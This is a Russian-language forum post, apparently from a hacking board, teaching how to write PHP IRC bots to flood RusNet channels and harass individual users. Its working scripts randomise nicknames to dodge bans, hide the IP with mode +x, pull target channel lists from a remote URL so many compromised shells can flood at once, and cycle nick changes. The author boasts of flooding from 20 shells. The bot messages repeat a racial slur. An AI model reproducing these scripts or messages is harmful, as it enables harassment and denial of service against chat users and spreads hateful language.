Статьи Пишем IRC бота на PHP

Discussion in 'Статьи' started by piupiu, 21 Feb 2012.

  1. piupiu

    piupiu Banned

    Joined:
    14 Mar 2011
    Messages:
    11
    Likes Received:
    1
    Reputations:
    5
    [​IMG]


    Сегодня я расскажу о создании IRC (Internet Relay Chat) бота на php, для небольшого флуда и баловства на каналах Руснета :)

    Для коннекта мы будем использовать сокеты
    Вот собственно и весь скрипт рабочего очень простого бота:

    PHP:
    <?
    ini_set("max_execution_time""0");
    $fp fsockopen("irc.tom.ru"6669$errno$errstr120);
    fputs($fp"NICK ZphpBot\n");
    fputs($fp"USER UserName 127.0.0.1 irc.tom.ru :Z IRC\n");
    fputs($fp"JOIN #test\n");
    fputs($fp"PRIVMSG #test : Ку нигеры\r\n");
    while(!
    feof($fp)) {
    fgets($fp,128);
        }
    fclose ($fp);
    ?>
    Бот зайдёт на сервер irc.tom.ru, затем на канал #test и скажет на этом канале "ку нигеры"
    Самое простое что только можно сделать


    Рассмотрим саму специфику IRC и сокетов.

    PHP:
    <?
    # Ставим максимальное время загрузки страницы на 0, т.е. бесконечно
        
    ini_set("max_execution_time""0");
    # Присоединяемся к серверу irc
    # irc.tom.ru - это сам сервер, може быть любой типо rusnet.tomsk.ru, irc.anarxi.st, irc.tomsk.net и тп.
    # 6669 - порт IRC сервера
    # $errno и $errstr - это переменные, куда будут записываться номер и текст ошибки в случае неудачного коннекта
    # 120 - это максимальное время соединения с сервером (в секундах), ставим 2 минуты,
    # потому, что коннект к irc серверу занимает довольно продолжительное время
        
    $fp fsockopen("irc.tom.ru"6669$errno$errstr120);
    # Записываем в "файл" так называемые header-type данные (заголовки)
    # \n и \r - это перевод строки, удалять не надо
    # : - это служебный символ, его тоже не надо стирать
    # Первый заголовок - это ник бота, который зайдет в мирку, у нас ZphpBot
        
    fputs($fp"NICK ZphpBot\n");
    # Второй заголовок - это Информация о боте
    # UserName - это реальное имя
    # 127.0.0.1 - это фальшивый ip адрес бота, но определяется всёравно настоящий : )
    # irc.tom.ru - говорит о том к какому серверу подключен бот
    # Z IRC - это клиент (МИРКА) бота, можно указать любой
        
    fputs($fp"USER UserName 127.0.0.1 irc.tom.ru :Z IRC\n");
    # Третий заголовок - это канал. Здесь впринципе объяснять нечего, вписываем канал на который бот зайдет. У нас зайдет на канал #test
        
    fputs($fp"JOIN #test\n");
    # Четвертый заголовок - сообщение в канал. Вместо "Ку Нигеры", можно написать любой текст,
    # а вместо #test - любой канал, но бот на нем должен присутствовать.
        
    fputs($fp"PRIVMSG #test : Ку Нигеры\r\n");

    # Врубаем цикл, пока не достигним конца файла, выполняем чтение файла
        
    while(!feof($fp)) {
    # Читаем с каждой строки по 128 символов, так положено для мирки
            
    fgets($fp,128);
        }
    # Ну и закрываем сокет : )
        
    fclose ($fp);
    ?>



    Но если мы собираемся флудить нас могут забанит по нику, Userid*у и тп. (не считая ip), поэтому лучше писать рандом.

    Есть ещё одна полезная штука: многие серверы (чуть менее чем все) включая Rusnet имеют функцию /mode +x (скрытие ip)
    Эта фича конечно легко раскрывается (следующая статья будет посвящена открытию режимы +х в сети руснет), но некоторые опы, довольно странно на неё реагируют О_о

    Code:
    fputs($fp, "MODE [Ник бота] +x\n");

    Вот так примерно выглядит более мощный и легче настраиваемый бот.

    К его нику клиенту и UserName каждый раз приписываются случайные числа и скрыт ip.


    PHP:
    <?
    #рандомы (от,до)
    $q mt_rand(0,88);
    $x mt_rand(0,99);
    $rolf mt_rand(1,999);

    # канал (без #)
    $kl test;

    #Ник и UserName
    $nick olololo;
    $user Orly;

    #IRC сервер и порт
    $serv irc.tom.ru;
    $port 6669;

    ini_set("max_execution_time""0");
    $fp fsockopen("$serv"$port$errno$errstr120);

    fputs($fp"NICK $nick$rolf\n");
    fputs($fp"USER $x$user$q 127.0.0.1 $serv :Z IRC$q.2\n");

    #скрываем ip
    fputs($fp"MODE $nick$rolf +x\n");

    #Заходим на канал
    fputs($fp"JOIN #$kl\n");

    #базарим
    fputs($fp"PRIVMSG #$kl : 1 фраза (Ку Нигеры)  \r\n");
    fputs($fp"PRIVMSG #$kl : 2 фраза (Как дела?)  \r\n");
    fputs($fp"PRIVMSG #$kl : 3 фраза (Меня зовут $nick )  \r\n");
    fputs($fp"PRIVMSG #$kl : 4 фраза (Ку Нигеры)  \r\n");
    fputs($fp"PRIVMSG #$kl : 5 фраза (Как дела?)  \r\n");
    fputs($fp"PRIVMSG #$kl : 6 фраза (ололо)  \r\n");


    while(!
    feof($fp)) {
    fgets($fp,128);
    }
    fclose ($fp);
    ?>

    Если вам необходимо флудить конкретному юзеру, а не на на канале, используем следующий скрипт :



    PHP:
    <?
    #рандомы (от,до)
    $q mt_rand(0,88);
    $x mt_rand(0,99);
    $rolf mt_rand(1,999);

    # Жертва
    $zhertva kult;

    #Ник и UserName
    $nick JOooll;
    $user xaxyxa;

    #IRC сервер
    $serv irc.tom.ru;

    ini_set("max_execution_time""0");
    $fp fsockopen("$serv"6669$errno$errstr120);

    fputs($fp"NICK $nick$rolf\n");
    fputs($fp"USER $x$user$q 127.0.0.1 $serv :Z IRC$q.2\n");

    #скрываем ip
    fputs($fp"MODE $nick$rolf +x\n");

    #Пишем в приват жертве
    fputs($fp"PRIVMSG $zhertva : 1 фраза (Ку Нигер)  \r\n");
    fputs($fp"PRIVMSG $zhertva : 2 фраза (Как дела?)  \r\n");
    fputs($fp"PRIVMSG $zhertva : 3 фраза (Меня зовут $nick )  \r\n");


    while(!
    feof($fp)) {
    fgets($fp,128);
    }
    fclose ($fp);
    ?>



    Если вы атакуете сразу много каналов с нескольких серверов или шелов, вам понадобиться выложить .txt файл внутри которого есть название канала.

    PHP:
    $kl file_get_contents('http://site.ru/kl.txt');

    Собственно это выглядит так:

    PHP:
    <?

    $q mt_rand(0,88);
    $x mt_rand(0,99);
    $n mt_rand(100000,999999);
    $rolf mt_rand(1,999);

    $kl file_get_contents('http://thez.ru/kl.txt');

    $nick=Математик;

    $user=Orly;


    ini_set("max_execution_time""0");
    $fp fsockopen("irc.tom.ru"6669$errno$errstr120);


    fputs($fp"NICK $nick$rolf\n");
    fputs($fp"USER $x$user$q 127.0.0.1 irc.tom.ru :IRC-Zadrot$q.2\n");

    # Заходим на канал хозяина
    fputs($fp"JOIN #$kl\n");

    fputs($fp"PRIVMSG #$kl : Привет всем парни! :) Я сумасшедший математик!!!  \r\n");
    fputs($fp"PRIVMSG #$kl : Скажите мне пожалуйста сколько будет $q + $x ?  \r\n");
    fputs($fp"PRIVMSG #$kl : А сколько будет $n + $rolf  \r\n");
    fputs($fp"PRIVMSG #$kl : А вот сколько будет $q + $x + $n + $rolf  \r\n");
    fputs($fp"PRIVMSG #$kl : А сколько будет если $q вычесть $x умножить на $n поделить на $rolf  \r\n");
    fputs($fp"PRIVMSG #$kl : Незнаете! \r\n");
    fputs($fp"PRIVMSG #$kl : Нужели вы не знаете? Никто на канале $kl не знает? \r\n");

    fputs($fp"PRIVMSG #$kl : Ха-ха-ха  \r\n");
    fputs($fp"PRIVMSG #$kl : $q + $q Тоже не знаете? \r\n");
    fputs($fp"PRIVMSG #$kl : $rolf + $rolfs + $n + $n \r\n");
    fputs($fp"PRIVMSG #$kl : 2 + 2 ?  \r\n");
    fputs($fp"PRIVMSG #$kl : ЁБАНЫЙ СТЫД ! Ничего не знаете!  \r\n");


    while(!
    feof($fp)) {
    fgets($fp,128);
    }
    fclose ($fp);
    ?>
    Этим скриптом с 20 шеллов я флудил довольно таки не хило :)


    Что касается именно флуда канала в IRC есть 3 способа:

    1) Флуд сообщениями (бот флудит множеством сообщений на канале)

    2) Флуд входами/выходами (бот выходит и снова заходит на канал )

    3) флуд сменой ника (бот меняет свой ник на случайные очень часто)

    Всё это реализуется довольно просто выходя из кодов которые выше --^

    Вот например флуд сменой ников:

    PHP:
    <?

    $q mt_rand(0,88);
    $x mt_rand(0,99);
    $n mt_rand(100000,999999);
    $rolf mt_rand(1,999);

    $kl file_get_contents('http://thez.ru/kl.txt');

    $nick=pteer;

    $user=Ohlol;


    ini_set("max_execution_time""0");
    $fp fsockopen("irc.tom.ru"6669$errno$errstr120);


    fputs($fp"NICK $nick$rolf\n");
    fputs($fp"USER $x$user$q 127.0.0.1 irc.tom.ru :IRC-Zadrot$q.2\n");

    # Заходим на канал хозяина
    fputs($fp"JOIN #$kl\n");

    fputs($fp"NICK $nick$rolf$n\n");
    fputs($fp"NICK $nick$rolf$rolf$n\n");
    fputs($fp"NICK $nick$x$rolf$n\n");
    fputs($fp"NICK $nick$rolf$n\n");
    fputs($fp"NICK $nick$rolf$rolf$n\n");
    fputs($fp"NICK $nick$x$rolf$n\n");
    fputs($fp"NICK $nick$rolf$n\n");
    fputs($fp"NICK $nick$rolf$rolf$n\n");
    fputs($fp"NICK $nick$x$rolf$n\n");
    #и тп.

    while(!feof($fp)) {
    fgets($fp,128);
    }
    fclose ($fp);
    ?>
    Есть ещё одна вещь, которую необходимо учесть. [!] Множество серверов имеют ограничение коннектов по IP адресу (3-5 коннектов с 1 ip)

    Поэтому вам будет необходимо либо найти сервер у которого число этих коннектов неогранчего, либо организовать рандом.

    Список серверов Rusnet*а на 20.08.2007г

    Code:
        irc.tomck.net - Россия, Томск
        irc.tomsk.net - Россия, Томск
        irc.tom.ru - Россия, Томск
        irc.tpu.ru - Россия, Томск
        rusnet.tomsk.ru - Россия, Томск
        irc.intertax.ru - Россия, Красноярск
        irc.siberianet.ru - Россия, Красноярск
        irc.alfa-com.ru - Россия, Красноярск
        irc.krasnet.ru - Россия, Красноярск
        irc.ixx.ru - Россия, Сосновоборск
        urengoy.rusnet.org.ru - Россия, Новый Уренгой
        irc.intersvyaz.net - Россия, Челябинск
        irc.nnov.net - Россия, Нижний Новгород
        irc.run.net - Россия, Санкт-Петербург
        irc.ventelo.de - Германия
        irc.lucky.net - Украина, Киев
        irc.seb.org.ua - Украина, Севастополь
        irc.odessa.ua - Украина, Одесса
        irc.ilyichevsk.net - Украина, Ильичевск
        irc.sevsky.net - Украина, Севастополь
        irc.tsua.net - Украина, Киев
        rusnet.sevstar.net - Украина, Севастополь
        irc.odessa.net - Украина, Одесса
        irc.alkar.net - Украина, Днепропетровск
        irc.sevcity.net - Украина,Севастополь
        irc.sev.net.ua - Украина, Севастополь
        irc.telesweet.net - Украина, Сумы
        irc.nikolaev.ua - Украина, Николаев
        irc.perm.ru - Россия, Пермь
        irc.anarxi.st - Нидерланды
        irc.spbu.ru - Россия, Санкт-Петербург
        ghost.ff.phys.spbu.ru - Россия, Санкт-Петербург
        irc.rinet.ru - Россия, Москва
        irc.kgts.ru - Россия, Казань
        irc.primorye.ru - Россия, Владивосток
        irc.mv.ru - Россия, Ульяновск
        irc.ttn.ru - Россия, Таганрог
        irc.tsure.ru - Россия, Таганрог
        irc.baikal.net - Россия, Улан-Удэ
        irc.nsib.ru - Россия, Новосибирск
        irc.caramanta.ru - Россия, Москва
        irc.glazov.net - Россия, Глазов
        irc.vernet.eu.org - Россия, Королев
        irc.chelyabinsk.ru - Россия, Челябинск
        irc.academ.org - Россия, Новосибирск
        irc.211.ru - Россия, Новосибирск
        irc.nsu.ru - Россия, Новосибирск
        irc.stv.su - Россия, Москва
        irc.tambov.ru - Россия, Тамбов
    Автор - blog.thez.ru
     
    #1 piupiu, 21 Feb 2012
    Last edited: 21 Feb 2012
  2. vetta_kr

    vetta_kr New Member

    Joined:
    25 Apr 2012
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Интересная статья, но есть выход по проще
     
  3. NeoDroH

    NeoDroH New Member

    Joined:
    6 May 2013
    Messages:
    2
    Likes Received:
    1
    Reputations:
    0
    простите за глупый вопрос, а можно на php сделать не IRC-бота а IRC-сервер ?
     
  4. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    Можно